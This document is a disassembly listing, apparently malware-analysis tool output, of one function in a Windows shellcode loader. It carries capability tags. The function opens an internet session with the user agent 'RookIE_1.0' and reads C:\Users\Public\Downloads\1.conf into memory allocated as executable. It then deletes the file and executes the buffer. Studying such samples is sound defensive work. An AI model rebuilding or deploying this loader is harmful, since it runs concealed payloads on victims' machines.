Function at 0x140001370
Capabilities:
Allocate or change rwx memory
Create http request
Delete file
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x70
xor ebx, ebx
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x60], 7
lea edx, [rbx + 0x20]
mov qword [rsp + 0x58], rbx
mov word [rsp + 0x48], bx
call fcn.140001920
lea rcx, str.RookIE_1.0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
je 0x1400013c7
lea rcx, [rsp + 0x48]
mov rdx, rax
call fcn.140001270
cmp qword [rsp + 0x60], 8
jb 0x1400013d9
mov rcx, qword [rsp + 0x48]
call fcn.140005290
mov qword [rsp + 0x30], rbx
lea rcx, str.C:UsersPublicDownloads1.conf
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001484
lea rcx, str.Failed_to_open_shellcode_file
call fcn.140001e50
mov dl, 0xa
mov rcx, rax
mov rdi, rax
call fcn.1400016a0
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x14000144c
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove ebx, ecx
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x140001471
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x140001469
or edx, 4
xor r8d, r8d
call fcn.1400010b0
mov eax, 1
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rdi
ret
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x80], rbp
mov qword [rsp + 0x88], rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
cmp eax, 0xffffffff
jne 0x14000151b
lea rcx, str.Failed_to_get_file_size
call fcn.140001e50
mov dl, 0xa
mov rcx, rax
mov rsi, rax
call fcn.1400016a0
mov rcx, qword [rsi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rsi + 0x10], 6
jne 0x1400014e3
mov rcx, qword [rcx + rsi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove ebx, ecx
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
add rcx, rsi
test ebx, ebx
je 0x140001508
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x140001500
or edx, 4
xor r8d, r8d
call fcn.1400010b0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x14000167e
xor ecx, ecx
mov rdx, rbp
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x1400015ad
lea rcx, str.Failed_to_allocate_memory_for_shellcode
call fcn.140001e50
mov dl, 0xa
mov rcx, rax
mov rsi, rax
call fcn.1400016a0
mov rcx, qword [rsi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rsi + 0x10], 6
jne 0x140001575
mov rcx, qword [rcx + rsi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove ebx, ecx
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
add rcx, rsi
test ebx, ebx
je 0x14000159a
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x140001592
or edx, 4
xor r8d, r8d
call fcn.1400010b0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x14000167e
lea r9, [rsp + 0x40]
mov r8d, ebp
mov rdx, rax
mov rcx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001653
lea rcx, str.Failed_to_read_shellcode_from_file
call fcn.140001e50
mov dl, 0xa
mov rcx, rax
mov rbp, rax
call fcn.1400016a0
mov rcx, qword [rbp]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rbp + 0x10], 6
jne 0x14000160c
mov rcx, qword [rcx + rbp + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove ebx, ecx
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
add rcx, rbp
test ebx, ebx
je 0x140001632
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x14000162a
or edx, 4
xor r8d, r8d
call fcn.1400010b0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
jmp 0x14000167e
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.C:UsersPublicDownloads1.conf
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rsi
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rbp, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rdi
ret